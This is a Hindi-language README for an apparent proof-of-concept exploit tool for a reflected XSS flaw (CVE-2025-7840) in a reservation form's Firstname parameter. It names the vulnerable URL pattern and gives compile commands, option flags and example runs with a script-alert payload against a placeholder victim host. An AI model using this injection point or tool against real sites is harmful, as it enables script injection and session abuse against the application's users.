CVE-2025-7840 के लिए XSS एक्सप्लॉइट

लेखक: Byte Reaper (@ByteReaper0)

विवरण

CVE-2025-7840 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो एक संवेदनशील वेब एप्लिकेशन एंडपॉइंट को लक्षित करता है, जो रिजर्वेशन फॉर्म के Firstname पैरामीटर पर उपयोगकर्ता इनपुट को सैनिटाइज़ करने में विफल रहता है। एक GET अनुरोध तैयार करके:

/index.php?page=reserve&Firstname=<payload>&Lastname=test

एक हमलावर पीड़ित के ब्राउज़र में मनमाना जावास्क्रिप्ट इंजेक्ट और निष्पादित कर सकता है जब प्रतिक्रिया प्रस्तुत की जाती है।

विशेषताएँ

• -b विकल्प के साथ कस्टम पेलोड इंजेक्ट करें
• -c विकल्प के माध्यम से कुकी-आधारित सत्र संभालें
• अनुरोध/प्रतिक्रिया विश्लेषण के लिए वर्बोज़ लॉगिंग (-v)
• सामान्य XSS पेलोड का अंतर्निहित सेट

आवश्यकताएँ

• लिनक्स या macOS
• GCC (या संगत C कंपाइलर)
• libcurl विकास हेडर
• C के लिए argparse लाइब्रेरी

स्थापना

1. एक्सप्लॉइट संकलित करें:

   gcc -o exploit exploit.c argparse.c -lcurl 
   

उपयोग

sudo ./exploit -u <TARGET_URL> [options]

विकल्प

फ़्लैग	विवरण
-u URL	लक्ष्य आधार URL (जैसे http://victim.local)
-b PAYLOAD	इंजेक्ट करने के लिए कस्टम XSS पेलोड
-c FILE	सत्र संभालने के लिए कुकी जार फ़ाइल
-v	वर्बोज़ मोड (अनुरोध/प्रतिक्रिया विवरण दिखाएँ)

उदाहरण

• लक्ष्य के विरुद्ध डिफ़ॉल्ट पेलोड चलाएँ:

  sudo ./exploit -u http://victim.local
  

• कस्टम पेलोड का उपयोग करें:

  sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"
  

• सत्र कुकीज़ और वर्बोज़ आउटपुट शामिल करें:

  sudo ./exploit -u http://victim.local -c cookies.txt -v
  

अस्वीकरण

यह कोड केवल शैक्षिक और परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है।

संदर्भ

• CVE-2025-7840: आरक्षण फॉर्म में XSS
• लेखक Telegram: @ByteReaper0

लाइसेंस:

MIT